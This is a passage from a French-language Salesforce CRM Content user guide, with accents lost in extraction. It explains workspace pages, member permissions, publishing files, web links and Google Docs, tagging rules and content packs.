Cette section rpertorie tous les espaces de travail auxquels vous avez accs. Cliquez sur un nom d'espace de travail pour
afficher des informations sur l'espace de travail ou cliquez sur Parcourir pour afficher la liste de tout le contenu dans
l'espace de travail. Cliquez sur le bouton Nouveau pour crer de nouveaux espaces de travail, ajouter des utilisateurs ou
attribuer des autorisations sur l'espace aux utilisateurs de travail. Pour plus d'informations, reportez-vous Cration
d'espaces de travail la page 1810.
Contenu prsent
Cette section rpertorie les cinq lments de contenu de vos derniers espaces de travail dfinis comme prsents. Le
contenu prsent se voit attribuer une priorit suprieure un contenu similaire dans les rsultats d'une recherche ; par
exemple, si 100 fichiers contiennent le critre de recherche actif de vente, tous les fichiers prsents comportant
ce terme apparatront en tte de la liste des rsultats. Pour afficher tout le contenu prsent, cliquez sur Afficher tout.
Pour faire basculer le statut prsent d'un lment de contenu, accdez sa page dtails de contenu.
Contenu principal
Cette section comprend des listes qui rsument l'activit des contenus dans tous vos espaces de travail. Chaque liste trie
le contenu en fonction de critres spcifiques. Dans une liste, cliquez sur l'icne d'un fichier pour tlcharger le contenu

Salesforce Content

Guide de l'utilisateur | Gestion des espaces de travail | 1772

ou sur un titre pour ouvrir la page associe des informations de contenu. Dans la section Contenu principal, vous pouvez
choisir les catgories suivantes :

Date de publication : ce contenu est tri en ordre dcroissant selon la date de publication la plus rcente. Choisissez
le nombre d'enregistrements afficher dans la liste droulante associe ou cliquez sur le bouton Afficher tout pour
afficher la liste de tous les fichiers, liens Web et documents Google publis.
Nombre de tlchargements : ce contenu est tri en ordre dcroissant selon le plus grand nombre de tlchargements.
La barre graphique reprsente la comparaison d'un enregistrement avec un autre. Choisissez le nombre
d'enregistrements afficher dans la liste droulante associe ou cliquez sur le bouton Afficher tout pour afficher la
liste de tout le contenu tlcharg.
Cote : ce contenu est tri en ordre dcroissant selon le plus grand nombre de votes positifs. Le vert et le rouge de la
barre graphique reprsentent respectivement les votes positifs et ngatifs. Choisissez le nombre d'enregistrements
afficher dans la liste droulante associe ou cliquez sur le bouton Afficher tout pour afficher la liste de tout le contenu
pour lequel on a vot.
Nombre de commentaires : ce contenu est tri en ordre dcroissant selon le plus grand nombre de commentaires de
lecteurs. La barre graphique reprsente la comparaison d'un enregistrement avec un autre. Choisissez le nombre
d'enregistrements afficher dans la liste droulante associe ou cliquez sur le bouton Afficher tout pour afficher la
liste de tout le contenu ayant des commentaires.

Balises courantes
Cette section gnralement appele nuage de balises vous montre comment le contenu de votre espace de travail a
t tiquet. Les balises sont des termes descriptifs attribus au cours du tlchargement ou de la rvision et qui permettent
de classer et d'organiser le contenu. Cliquez sur le nom d'une balise pour afficher les rsultats de la recherche de tous les
fichiers, liens Web et documents Google contenant cette balise. Les noms des balises s'allongent l'intrieur du nuage
de balises en fonction de leur popularit, c'est--dire que les balises les plus longues sont attribues au contenu le plus
frquent. Les balises peuvent tre classes par ordre alphabtique ou par popularit. Le nuage de balises contient les 30
balises les plus populaires.
Activit rcente
Cette section est un instantan de l'activit au sein de vos espaces de travail. Elle montre les derniers fichiers, liens Web
et documents lGoogle recevoir des commentaires, des votes ou des abonnements. Le contenu prsent et le nouveau
contenu publi sont aussi inclus mais les nouvelles versions du contenu existant, du contenu archiv et du contenu
supprim n'apparaissent pas dans la section Activit rcente. Utilisez les boutons Plus ancien et Plus rcent pour faire
dfiler les enregistrements. La section Activit rcente contient 100 enregistrements au maximum.
La contributeurs les plus actifs
Cette section montre les auteurs qui ont le plus rcemment publi du contenu dans vos espaces de travail. Les noms
s'allongent en fonction de l'activit, de sorte que les plus grands noms sont les auteurs qui ont le plus contribu au contenu.
Mon contenu personnel
L'onglet Mon contenu personnel de la page d'accueil des espaces de travail est votre espace de travail priv. Lorsque vous
tlchargez ou crez un contenu sans slectionner un espace de travail public, le contenu est stock dans votre espace de travail
priv. Vous pouvez publier tout moment le contenu dans un espace de travail public ou le laisser dans votre espace de travail
pour une dure illimite. Le contenu de votre espace de travail priv peut tre assembl dans des packs de contenu et dans des
prsentations personnalises. Il peut galement tre envoy des pistes et des contacts hors de votre organisation l'aide de
la fonctionnalit de livraison de contenu. Pour plus d'informations, reportez-vous Configuration des livraisons de contenu
la page 1813. L'onglet Mon contenu personnel comporte les sections suivantes :
Espace de travail personnel
Si vous slectionnez l'option Enregistrer dans mon espace personnel en publiant un fichier, un lien Web, un pack de
contenu ou un document Google, votre contenu est enregistr ici. Vous pouvez publier ou supprimer des fichiers de cette

Salesforce Content

Guide de l'utilisateur | Affichage et modification d'espaces de travail | 1773

liste ou cliquer sur le nom d'un fichier pour afficher sa page de dtails du contenu. Les options suivantes, qui sont
disponibles dans la page de dtails d'un contenu partag, ne sont pas disponibles pour le contenu d'un espace de travail
personnel : balisage, cote, abonnement, suivi des tlchargements, suivi des abonnements ou utilisation des champs
personnaliss. Si vous publiez un fichier partir de la liste Espace de travail personnel, puis cliquez sur Annuler durant
le processus de publication, votre fichier est supprim.
Tlchargement interrompu
Si une erreur se produit lors du tlchargement d'un nouveau fichier, par exemple votre navigateur se bloque ou votre
session prend fin, le fichier en cours de tlchargement est enregistr ici. Cliquez sur Publier pour publier le fichier dans
un espace de travail public ou l'enregistrer dans votre espace de travail personnel. Si vous cliquez sur Annuler dans la
bote de dialogue Enregistrer ou Publier le contenu, votre fichier est supprim.
Tlchargement de la rvision interrompu
Si une erreur se produit lors du tlchargement d'une nouvelle version d'un fichier, le fichier en cours de tlchargement
est enregistr ici. Les utilisateurs ont toujours accs la version d'origine. Cliquez sur Publier pour publier le fichier
dans un espace de travail public ou l'enregistrer dans votre espace de travail personnel. Si vous cliquez sur Annuler dans
la bote de dialogue Enregistrer ou Publier le contenu, votre fichier est supprim.

Affichage et modification d'espaces de travail

Autorisations utilisateur requises
Pour modifier un espace de travail :

Grer Salesforce CRM Content

OU
Grer les espaces de travail doit tre coch dans

la dfinition de l'autorisation sur votre espace de travail

Pour ajouter ou supprimer des membres dans l'espace de
travail :

Grer Salesforce CRM Content

OU
Grer les espaces de travail doit tre coch dans

la dfinition de l'autorisation sur votre espace de travail

Aprs avoir localis un espace de travail Salesforce CRM Content dans la zone Mes espaces de travail de la page d'accueil de
l'onglet Espaces de travail ou sur une page dtails de contenu, cliquez sur le nom de l'espace de travail pour afficher des
informations dtailles. Pour plus d'informations sur les options de publication en haut de la page, reportez-vous
Tlchargement et publication d'un contenu la page 1776.
Dans la zone de titre de l'espace de travail, vous pouvez cliquer sur les liens rapides suivants :

Parcourir pour afficher les rsultats de la recherche montrant tout le contenu de l'espace de travail.
Modifier pour renommer l'espace de travail ou modifier sa description.
Supprimer pour supprimer un espace de travail vide. Si vous souhaitez supprimer un espace de travail qui comporte du
contenu, vous devez d'abord dplacer le contenu vers un autre espace de travail ou le supprimer et vider la corbeille.
Remarque: Si votre corbeille est vide et que vous ne pouvez pas supprimer l'espace de travail, c'est que la corbeille
d'un autre utilisateur comporte le contenu supprim de l'espace de travail. Un espace de travail ne peut pas tre
supprim tant que tout son contenu n'est pas dfinitvement supprim ou dplac vers un autre espace de travail.

Salesforce Content

Guide de l'utilisateur | Affichage et modification d'espaces de travail | 1774

Modifier les membres pour ajouter ou supprimer des membres d'espaces de travail ou modifier leur autorisation sur l'espace
de travail.
Rgles de balisage pour modifier la mthode de balisage autorise dans l'espace de travail.
Types de contenu pour limiter les types de contenu disponibles pour les contributeurs de l'espace de travail.
Afficher le contenu archiv pour afficher une liste du contenu archiv dans l'espace de travail. Si vous ne disposez pas des
privilges Archiver le contenu ou Grer les espaces de travail dans l'autorisation sur votre espace de
travail, la liste du contenu archiv ne comporte que le contenu que vous avez cr et archiv, et non le contenu que d'autres
auteurs ont archiv.

La page dtails de l'espace de travail comprend les sections suivantes :

Membres
Cette section rpertorie tous les utilisateurs Salesforce CRM Content membres de l'espace de travail. Pour limiter la
liste des membres, saisissez un nom d'utilisateur et cliquez sur Filtrer. Vous pouvez filtrer par le dbut d'un nom
d'utilisateur mais pas par le nom.
Pour ajouter de nouveaux membres l'espace de travail :
1. Cliquez sur Ajouter des membres.
2. Si vous ne trouvez pas immdiatement le membre ajouter, entrez des mots-cls dans la zone de recherche, puis
cliquez sur Rechercher.
3. Slectionnez des membres dans la zone Membres disponibles. Les membres peuvent comprendre des utilisateurs
Salesforce CRM Content individuels ou des groupes publics contenant des utilisateurs Salesforce CRM Content.
Conseil: Si vous devez grer un grand nombre d'utilisateurs Salesforce CRM Content, crez un groupe
public et ajoutez ce groupe un espace de travail, plutt que d'ajouter individuellement chaque utilisateur
l'espace de travail.
4. Cliquez sur Ajouter pour ajouter les membres l'espace de travail.
5. Cliquez sur Suivant.
6. Slectionnez une autorisation sur l'espace de travail pour chaque utilisateur ou groupe public et cliquez sur Enregistrer.
Pour supprimer un membre de l'espace de travail, cliquez sur Supprimer. Pour modifier l'autorisation d'un membre de
l'espace de travail, cliquez sur Modifier et choisissez une nouvelle autorisation sur l'espace de travail partir de la liste
droulante.
Contenu prsent
Cette section rpertorie les cinq lments de contenu de votre dernier espace de travail dfini comme prsent. Si aucun
contenu n'a t prsent, cette section ne s'affiche pas. Le contenu prsent se voit attribuer une priorit suprieure un
contenu similaire dans les rsultats d'une recherche ; par exemple, si 100 fichiers contiennent le critre de recherche
actif de vente, tous les fichiers prsents comportant ce terme apparatront en tte de la liste des rsultats. Pour
afficher tout le contenu prsent, cliquez sur Afficher tout. Pour activer ou dsactiver le statut de prsentation, accdez
sa page dtails de contenu.
Contenu principal
Cette section comprend des listes qui rsument l'activit du contenu dans votre espace de travail. Dans une liste, cliquez
sur l'icne d'un fichier pour tlcharger le contenu ou sur le titre pour ouvrir la page associe des informations de contenu.
Dans la section Contenu principal, vous pouvez choisir parmi les catgories suivantes :

Salesforce Content

Guide de l'utilisateur | Affichage et modification d'espaces de travail | 1775

Date de publication : ce contenu est class en ordre descendant selon la date de publication la plus rcente. Choisissez
le nombre d'enregistrements afficher dans la liste droulante associe ou cliquez sur le bouton Afficher tout pour
afficher la liste de tous les fichiers, liens Web et documents Google publis.
Nombre de tlchargements : ce contenu est tri en ordre dcroissant selon le plus grand nombre de tlchargements.
Le graphique en forme de barre reprsente la comparaison d'un enregistrement avec un autre. Choisissez le nombre
d'enregistrements afficher dans la liste droulante associe ou cliquez sur le bouton Afficher tout pour afficher la
liste de tout le contenu tlcharg.
Cote : ce contenu est tri en ordre dcroissant selon le plus grand nombre de votes positifs. Le vert et le rouge de la
barre graphique reprsentent respectivement les votes positifs et ngatifs. Choisissez le nombre d'enregistrements
afficher dans la liste droulante associe ou cliquez sur le bouton Afficher tout pour afficher la liste de tout le contenu
avec des votes.
Nombre de commentaires : ce contenu est tri en ordre dcroissant selon le plus grand nombre de commentaires de
lecteurs. Le graphique en forme de barre reprsente la comparaison d'un enregistrement avec un autre. Choisissez le
nombre d'enregistrements afficher dans la liste droulante associe ou cliquez sur le bouton Afficher tout pour
afficher la liste de tout le contenu ayant des commentaires.

Balises courantes
Ce nuage de balises vous montre comment le contenu de votre espace de travail a t nomm. Les balises sont des
termes descriptifs attribus au cours du tlchargement ou de la rvision et qui permettent de classer et d'organiser le
contenu. Cliquez sur le nom d'une balise pour afficher les rsultats de la recherche de tous les fichiers, liens Web et
documents Google contenant cette balise. La taille des noms des balises augmente dans le nuage de balises en fonction
de leur popularit, c'est--dire que les balises les plus longues sont attribues au contenu le plus frquent. Les balises
peuvent tre classes par ordre alphabtique ou par popularit. Le nuage de balises contient les 30 balises les plus courantes.
Activit rcente
Cette section est un instantan de l'activ au sein de votre espace de travail. Elle montre les derniers fichiers, liens Web
et documents lGoogle recevoir des commentaires, des votes ou des abonnements. Le contenu prsent et le nouveau
contenu publi sont aussi inclus mais les nouvelles versions du contenu existant, du contenu archiv et du contenu
supprim n'apparaissent pas dans la section Activit rcente. Utilisez les boutons Plus ancien et Plus rcent pour faire
dfiler les enregistrements. La section Activit rcente contient 100 enregistrements au maximum.
La contributeurs les plus actifs
Cette section affiche les auteurs qui ont rcemment tlcharg du contenu dans votre espace de travail. Les noms
s'allongent en fonction de l'activit, de sorte que les plus grands noms sont les auteurs qui ont le plus contribu au contenu.

Salesforce Content

Guide de l'utilisateur | Tlchargement et publication d'un contenu | 1776

Tlchargement et publication d'un contenu

Autorisations utilisateur requises
Pour tlcharger et publier des fichiers et des liens Web :

Grer les espaces de travail doit tre coch dans

la dfinition de l'autorisation sur votre espace de travail

OU
Ajouter du contenu doit tre coch dans la dfinition de

l'autorisation sur votre espace de travail

Pour crer et publier des prsentations de contenu :

Grer les espaces de travail doit tre coch dans

la dfinition de l'autorisation sur votre espace de travail

OU
Ajouter du contenu doit tre coch dans la dfinition de

l'autorisation sur votre espace de travail

Pour crer et publier des documents Google :

Compte Google Apps

L'onglet Espaces de travail comporte en haut de la page plusieurs options de publication qui permettent de tlcharger, classer
et publier des fichiers, des packs de contenu, des liens Web et des documents Google dans Salesforce CRM Content.
Remarque: La liste droulante Ajouter Google Document de l'onglet Espaces de travail indique uniquement si votre
administrateur a activ le service d'ajout de document Google Salesforce.com. Pour plus d'informations, reportez-vous
Activation de Google Documents dans Salesforce.com la page 1842. Pour plus d'informations sur l'association de
documents Google Salesforce CRM Content depuis votre compte Google Apps, reportez-vous Installation du
bouton d'ajout de document Google au navigateur Salesforce.com la page 1848.
Pour publier des fichiers, des liens Web et des documents Google dans Salesforce CRM Content ou pour crer des prsentations
et des packs de contenu, reportez-vous aux rubriques suivantes :

Ajout de fichiers de contribution Salesforce CRM Content

Ajout de liens Web de contribution Salesforce CRM Content
Contribution de Google Docs Salesforce CRM Content
Cration et modification de prsentations dans Salesforce CRM Content
Cration et modification de packs de contenu dans Salesforce CRM Content

Salesforce Content

Guide de l'utilisateur | Tlchargement et publication d'un contenu | 1777

Ajout de fichiers de contribution Salesforce CRM Content

Autorisations utilisateur requises
Pour tlcharger et publier des fichiers dans un espace de
travail public :

Grer les espaces de travail doit tre coch dans

la dfinition de l'autorisation sur votre espace de travail

OU
Ajouter du contenu doit tre coch dans la dfinition de

l'autorisation sur votre espace de travail

Pour tlcharger et enregistrer des fichiers dans un espace de Aucune
travail personnel :

Pour publier un fichier dans Salesforce CRM Content :

1. Cliquez sur l'onglet Espaces de travail.
2. Pour publier un nouveau fichier, cliquez sur Parcourir, puis slectionnez le fichier. Pour publier un fichier qui figure dj
dans votre espace de travail personnel, cliquez sur l'onglet Mon contenu personnel, localisez le fichier, puis cliquez sur
Publier.
Remarque: Pour publier simultanment plusieurs lments de contenu, activez une ou deux cases dans l'onglet
Mon contenu personnel, puis cliquez sur Publier la slection. Tout le contenu slectionn s'affiche dans les onglets
de la bote de dialogue Enregistrer ou Publier le contenu. Suivez la procdure ci-dessous pour chaque onglet de
cette bote de dialogue.
3. Attribuez un titre et une description au fichier.
4. Choisissez un espace de travail. Il devient l'espace de travail de gestion (d'accueil), ce qui signifie que le contenu peut tre
partag avec un autre espace de travail mais seulement rvis par un utilisateur avec des autorisation d'auteur dans l'espace
de travail de gestion. Si vous ne souhaitez que le contenu soit visible aux autres utilisateurs de votre organisation, par
exemple si votre travail n'est pas termin, slectionnez Enregistrer dans mon espace de travail personnel.
5. Vous pouvez aussi choisir une langue. La liste droulante Langue s'affiche si le support multilingue est activ. Si vous ne
slectionnez pas une langue, Salesforce CRM Content associe le contenu votre paramtre de langue personnel. Si des
utilisateurs restreignent leurs recherches de contenu une langue particulire, seul le contenu associ cette langue est
affich dans l'ensemble des rsultats de recherche.
6. Pour publier le contenu pour le compte d'un autre auteur, choisissez l'auteur dans la liste droulante.
7. Baliser votre contenu. Vos autorisations de balisage dpendent de la rgle de balisage attribue l'espace de travail :

Si l'espace de travail ne possde pas de rgle de balisage ou si votre administrateur a attribu une rgle de balisage
ouverte, vous pouvez saisir des balises dans le champ Balises. Lorsque vous saisissez une balise, Salesforce CRM
Content suggre automatiquement des balises en fonction de votre liste Mes balises rcentes et de la section Balises
courantes dans l'onglet Espaces de travail. La liste Mes balises rcentes de la fentre Contribuer affiche les 20 balises
que vous avez utilises le plus rcemment. Cliquez sur une balise pour l'ajouter automatiquement dans le champ
Balises.
Si votre administrateur a attribu la rgle de balisage assist, vous pouvez choisir dans la liste des balises proposes ou
saisir une nouvelle balise. Cliquez sur une balise suggre pour l'ajouter automatiquement dans le champ Balises.
Si votre administrateur a attribu la rgle de balisage limit, vous devez choisir dans la liste des balises proposes. Lorsque
vous slectionnez une balise, elle prend la couleur verte.

Salesforce Content

Guide de l'utilisateur | Tlchargement et publication d'un contenu | 1778

8. Si plusieurs types de contenus sont disponibles, choisissez-en un dans la liste droulante. Le type de contenu dtermine
les champs personnaliss qui apparaissent pour que vous puissiez classer et dfinir votre contenu.
9. Une fois les champs personnaliss renseigns, cliquez sur Publier ou sur Enregistrer.
Remarque: Les clients de Professional Edition, Enterprise Edition et Unlimited Edition peuvent publier au maximum
5 000 versions nouvelles par priode de 24 heures. Les clients de Developer Edition et Trial Edition peuvent publier
au maximum 2 500 versions nouvelles par priode de 24 heures.

Ajout de liens Web de contribution Salesforce CRM Content

Autorisations utilisateur requises
Pour publier des liens Web dans Salesforce CRM Content : Grer les espaces de travail doit tre coch dans
la dfinition de l'autorisation sur votre espace de travail
OU
Ajouter du contenu doit tre coch dans la dfinition de

l'autorisation sur votre espace de travail

Pour classer et publier un lien Web dans Salesforce CRM Content :

1. Cliquez sur l'onglet Espaces de travail.
2. Pour ajouter un nouveau lien, cliquez sur Contribuer Voulez-vous vous lier un site Web la place ?, puis entrez
l'URL et cliquez sur Contribuer. Pour publier un lien qui figure dj dans votre espace de travail personnel, cliquez sur
l'onglet Mon contenu personnel, localisez le lien, puis cliquez sur Publier.
Remarque: Pour publier simultanment plusieurs lments de contenu, activez une ou deux cases dans l'onglet
Mon contenu personnel, puis cliquez sur Publier la slection. Tout le contenu slectionn s'affiche dans les onglets
de la bote de dialogue Enregistrer ou Publier le contenu. Suivez la procdure ci-dessous pour chaque onglet de
cette bote de dialogue.
3. Attribuez un titre et une description au lien Web.
4. Choisissez un espace de travail. Il devient l'espace de travail de gestion (d'accueil), ce qui signifie que le lien Web peut tre
partag avec un autre espace de travail, mais sa page des informations de contenu ne peut tre modifie que par un utilisateur
disposant des autorisations appropries dans l'espace de travail de gestion. Si vous ne souhaitez que le lien soit visible aux
autres utilisateurs de votre organisation, slectionnez Enregistrer dans mon espace de travail personnel.
5. Vous pouvez aussi choisir une langue. La liste droulante Langue s'affiche si le support multilingue est activ. Si vous ne
slectionnez pas une langue, Salesforce CRM Content associe le contenu votre paramtre de langue personnel. Si des
utilisateurs restreignent leurs recherches de contenu une langue particulire, seul le contenu associ cette langue est
affich dans l'ensemble des rsultats de recherche.
6. Pour publier le contenu pour le compte d'un autre auteur, choisissez l'auteur dans la liste droulante.
7. Baliser votre contenu. Vos autorisations de balisage dpendent de la rgle de balisage attribue l'espace de travail :

Si l'espace de travail ne possde pas de rgle de balisage ou si votre administrateur a attribu une rgle de balisage
ouverte, vous pouvez saisir des balises dans le champ Balises. Lorsque vous saisissez une balise, Salesforce CRM
Content suggre automatiquement des balises en fonction de votre liste Mes balises rcentes et de la section Balises
courantes dans l'onglet Espaces de travail. La liste Mes balises rcentes de la fentre Contribuer affiche les 20 balises

Salesforce Content

Guide de l'utilisateur | Tlchargement et publication d'un contenu | 1779

que vous avez utilises le plus rcemment. Cliquez sur une balise pour l'ajouter automatiquement dans le champ
Balises.
Si votre administrateur a attribu la rgle de balisage assist, vous pouvez choisir dans la liste des balises proposes ou
saisir une nouvelle balise. Cliquez sur une balise suggre pour l'ajouter automatiquement dans le champ Balises.
Si votre administrateur a attribu la rgle de balisage limit, vous devez choisir dans la liste des balises proposes. Lorsque
vous slectionnez une balise, elle prend la couleur verte.

8. Si plusieurs types de contenus sont disponibles, choisissez-en un dans la liste droulante. Le type de contenu dtermine
les champs personnaliss qui apparaissent pour que vous puissiez classer et dfinir votre contenu.
9. Une fois les champs personnaliss renseigns, cliquez sur Publier ou sur Enregistrer.

Contribution de Google Docs Salesforce CRM Content

Salesforce CRM Content est disponible dans : Professional Edition, Enterprise Edition et Unlimited Edition
Google Docs est disponible dans toutes les ditions.

Autorisations utilisateur requises

Cration d'un document Google et association du document Membre d'espace de travail avec une autorisation d'espace de
un espace de travail Salesforce CRM Content :
travail qui permet d'ajouter du contenu
AND
Compte Google Apps
Utilisez Google Docs pour crer et partager des documents, des prsentations et des feuilles de calcul la demande (
documents Google ) et pour visualiser vos modifications effectues en temps rel lors de vos collaborations avec d'autres
utilisateurs. En associant vos documents Google Salesforce CRM Content, vous pouvez accder tous les types de contenus
depuis un seul emplacement totalement index. Vous pouvez galement vrifier que vos documents Google bnficient des
commentaires et du suivi fournis par les fonctions Salesforce CRM Content, telles les votes, les commentaires et les abonnements.
Remarque: La liste droulante Ajouter Google Document de l'onglet Espaces de travail indique uniquement si votre
administrateur a activ le service d'ajout de document Google Salesforce.com. Pour plus d'informations, reportez-vous
Activation de Google Documents dans Salesforce.com la page 1842. Pour plus d'informations sur l'association de
documents Google Salesforce CRM Content depuis votre compte Google Apps, reportez-vous Installation du
bouton d'ajout de document Google au navigateur Salesforce.com la page 1848.
Ajout de nouveaux documents Google un espace de travail Salesforce CRM Content
1. Dans l'onglet Espaces de travail, slectionnez Nouveau document, Nouvelle feuille de calcul ou Nouvelle prsentation
dans la liste droulante Ajouter un document Google. Il se peut que le systme vous invite vous connecter Google Apps.
2. Entrez le nom du document, de la feuille de calcul ou de la prsentation et cliquez sur Crer un document Google. Un
document Google vierge s'affiche pour vous permettre d'ajouter du texte. La bote de dialogue Enregistrer ou Publier le
contenu dans Salesforce CRM Content s'affiche galement.
3. Dans la bote de dialogue Enregistrer ou Publier le contenu :
a. Vous pouvez galement entrer la description du document Google. Elle fournit un aperu des informations aux utilisateurs
qui visualisent la page de dtails du contenu du document dans Salesforce CRM Content.

Salesforce Content

Guide de l'utilisateur | Tlchargement et publication d'un contenu | 1780

b. Choisissez un espace de travail. Si vous ne souhaitez pas publier le document dans un espace public, par exemple si
votre travail n'est pas termin, slectionnez Enregistrer dans mon espace de travail personnel.
c. Vous pouvez aussi choisir une langue. La liste droulante Langue s'affiche si le support multilingue est activ. Si vous
ne slectionnez pas une langue, Salesforce CRM Content associe le contenu votre paramtre de langue personnel. Si
des utilisateurs restreignent leurs recherches de contenu une langue particulire, seul le contenu associ cette langue
est affich dans l'ensemble des rsultats de recherche.
d. Pour publier le contenu pour le compte d'un autre auteur, choisissez l'auteur dans la liste droulante.
e. Baliser votre contenu. Vos autorisations de balisage dpendent de la rgle de balisage attribue l'espace de travail :

Si l'espace de travail ne possde pas de rgle de balisage ou si votre administrateur a attribu une rgle de balisage
ouverte, vous pouvez saisir des balises dans le champ Balises. Lorsque vous saisissez une balise, Salesforce CRM
Content suggre automatiquement des balises en fonction de votre liste Mes balises rcentes et de la section Balises
courantes dans l'onglet Espaces de travail. La liste Mes balises rcentes de la fentre Contribuer affiche les 20 balises
que vous avez utilises le plus rcemment. Cliquez sur une balise pour l'ajouter automatiquement dans le champ
Balises.
Si votre administrateur a attribu la rgle de balisage assist, vous pouvez choisir dans la liste des balises proposes
ou saisir une nouvelle balise. Cliquez sur une balise suggre pour l'ajouter automatiquement dans le champ Balises.
Si votre administrateur a attribu la rgle de balisage limit, vous devez choisir dans la liste des balises proposes.
Lorsque vous slectionnez une balise, elle prend la couleur verte.

f. Si plusieurs types de contenus sont disponibles, choisissez-en un dans la liste droulante. Le type de contenu dtermine
les champs personnaliss qui apparaissent pour que vous puissiez classer et dfinir votre contenu.
g. Aprs avoir renseign les champs personnaliss, cliquez sur Publier pour enregistrer le document Google dans son
espace de travail Salesforce CRM Content ou sur Annuler pour l'enregistrer dans votre espace de travail personnel.
Dans cet emplacement, vous pouvez supprimer le document de Salesforce CRM Content ou le publier ultrieurement.
Lorsqu'un document Google est publi dans Salesforce CRM Content, tous les membres de l'espace de travail peuvent
le consulter et donner leur avis (votes et commentaires, par exemple).
Remarque: Lorsque votre document Google est ouvert, pensez le partager avec d'autres utilisateurs Google Apps
de votre socit. Seuls les utilisateurs qui ont accs au document Google dans leur compte Google Apps peuvent l'ouvrir
depuis Salesforce CRM Content.
Ajout de documents Google existants un espace de travail Salesforce CRM Content
Si vous disposez d'un document Google existant, vous pouvez le publier dans un espace de travail :
1. Dans l'onglet Espaces de travail, slectionnez Ajouter un document existant dans la liste droulante d'ajout de document
Google. La liste de tous les documents Google de votre compte Google Apps s'affiche.
2. ventuellement, limitez la liste des documents en entrant un terme de recherche ou en affichant uniquement les documents,
les prsentations et les feuilles de calcul.
3. Slectionnez le document Google ajouter Salesforce CRM Content, puis cliquez sur Contribuer.
4. Vous pouvez ventuellement modifier le titre du document Google et ajouter une description.
5. Choisissez un espace de travail. Si vous ne souhaitez pas ajouter le document un espace public, par exemple si votre travail
n'est pas termin, slectionnez Enregistrer dans mon espace de travail personnel.
6. Vous pouvez aussi choisir une langue. La liste droulante Langue s'affiche si le support multilingue est activ. Si vous ne
slectionnez pas une langue, Salesforce CRM Content associe le contenu votre paramtre de langue personnel. Si des
utilisateurs restreignent leurs recherches de contenu une langue particulire, seul le contenu associ cette langue est
affich dans l'ensemble des rsultats de recherche.
7. Pour publier le contenu pour le compte d'un autre auteur, choisissez l'auteur dans la liste droulante.
8. Baliser votre contenu. Vos autorisations de balisage dpendent de la rgle de balisage attribue l'espace de travail :

Salesforce Content

Guide de l'utilisateur | Tlchargement et publication d'un contenu | 1781

Si l'espace de travail ne possde pas de rgle de balisage ou si votre administrateur a attribu une rgle de balisage
ouverte, vous pouvez saisir des balises dans le champ Balises. Lorsque vous saisissez une balise, Salesforce CRM
Content suggre automatiquement des balises en fonction de votre liste Mes balises rcentes et de la section Balises
courantes dans l'onglet Espaces de travail. La liste Mes balises rcentes de la fentre Contribuer affiche les 20 balises
que vous avez utilises le plus rcemment. Cliquez sur une balise pour l'ajouter automatiquement dans le champ
Balises.
Si votre administrateur a attribu la rgle de balisage assist, vous pouvez choisir dans la liste des balises proposes ou
saisir une nouvelle balise. Cliquez sur une balise suggre pour l'ajouter automatiquement dans le champ Balises.
Si votre administrateur a attribu la rgle de balisage limit, vous devez choisir dans la liste des balises proposes. Lorsque
vous slectionnez une balise, elle prend la couleur verte.

9. Si plusieurs types de contenus sont disponibles, choisissez-en un dans la liste droulante. Le type de contenu dtermine
les champs personnaliss qui apparaissent pour que vous puissiez classer et dfinir votre contenu.
10. Une fois les champs personnaliss renseigns, cliquez sur Publier ou sur Enregistrer.

Cration et modification de packs de contenu dans Salesforce CRM

Content
Autorisations utilisateur requises
Pour crer et modifier des packs de contenu dans Salesforce
CRM Content :

Grer les espaces de travail doit tre coch dans

la dfinition de l'autorisation sur votre espace de travail

OU
Ajouter du contenu doit tre coch dans la dfinition de

l'autorisation sur votre espace de travail

Un pack de contenu est un ensemble de documents ou de fichiers stocks en tant que groupe dans Salesforce CRM Content.
Par exemple, vous pouvez crer un pack de contenu avec une liste de produits, un devis et un contrat envoyer un client
donn. Tous les fichiers dans Salesforce CRM Content peuvent tre ajouts un pack de contenu, depuis les documents
commerciaux classiques tels que les prsentations Microsoft PowerPoint et les fichiers Adobe PDF, jusqu'aux fichiers audio,
vido et les documents Google. Vous pouvez distribuer le pack de contenu des collgues de votre organisation ou des pistes
et des contacts externes votre organisation, l'aide d'un e-mail ou d'un message instantan. Le destinataire d'une livraison
de contenu peut cliquer sur une URL unique pour ouvrir un lecteur de prvisualisation afin d'afficher ou de tlcharger le
contenu. Vous pouvez consulter les informations de suivi pour connatre le nombre d'affichages du pack de contenu et savoir
quels documents ont t tlchargs. Pour plus d'informations sur la livraison de packs de contenu, reportez-vous Configuration
des livraisons de contenu la page 1813.
Remarque: Les packs de contenu prennent en charge tous les types de fichier. Cependant, le lecteur de prvisualisation
lanc par l'URL de livraison de contenu affiche uniquement les fichiers PowerPoint, Word, Excel et PDF. Le lecteur
de prvisualisation n'affiche pas les fichiers Microsoft Office 2007. En outre, l'utilisation de packs de contenu requiert
la version 9.0.11.5 ou suprieure d'Adobe Flash Player. Si Flash n'est pas install sur votre ordinateur, Salesforce.com
fournit un lien vers le site Web d'Adobe pour tlcharger Flash gratuitement.
Pour utiliser des packs de contenu :
1. Selon que vous souhaitez crer, personnaliser ou modifier un pack de contenu, utilisez l'une des options suivantes :

Salesforce Content

Guide de l'utilisateur | Tlchargement et publication d'un contenu | 1782

Remarque: Les options suivantes sont disponibles uniquement si Activer la cration de pack de
contenu est slectionn dans la page Configuration Personnalisation Salesforce CRM Content
Paramtres. Si la cration de pack de contenu est dsactive aprs la cration des packs, Salesforce.com ne supprime
pas les packs existants, mais il est impossible de les personnaliser ou de les modifier.

Pour crer un pack de contenu, cliquez sur l'onglet Espaces de travail, puis slectionnez Crer Pack de contenu.
Pour crer un pack de contenu en copiant un pack existant puis en ajoutant, supprimant ou rorganisant des fichiers,
ouvrez la page de dtails du contenu du pack, puis cliquez sur Cloner et personnaliser.
Pour mettre jour un pack de contenu et publier une nouvelle version, ouvrez la page de dtails du contenu du pack,
puis cliquez sur Modifier Modifier le pack de contenu.

2. Cliquez sur Rechercher des fichiers pour afficher tout le contenu de vos espaces de travail. Pour affiner vos rsultats,
slectionnez un espace de travail spcifique ou entrez un terme rechercher dans la case de texte.
En plus des fichiers et des documents, les rsultats de recherche rpertorient galement les packs de contenu.
3. Faites glisser le contenu dsir depuis les rsultats de recherche vers la section d'assemblage, dans la partie infrieure de la
fentre. Les options suivantes facilitent l'assemblage de votre pack de contenu :

Dans les rsultats de recherche, cliquez sur un document pour le prvisualiser dans la partie infrieure de la fentre.
Slectionnez Ajouter au pack de contenu ou Masquer l'aperu selon vos besoins.

Dans les rsultats de recherche, survolez un document, puis cliquez sur l'icne reprsentant un dossier ( ) pour afficher
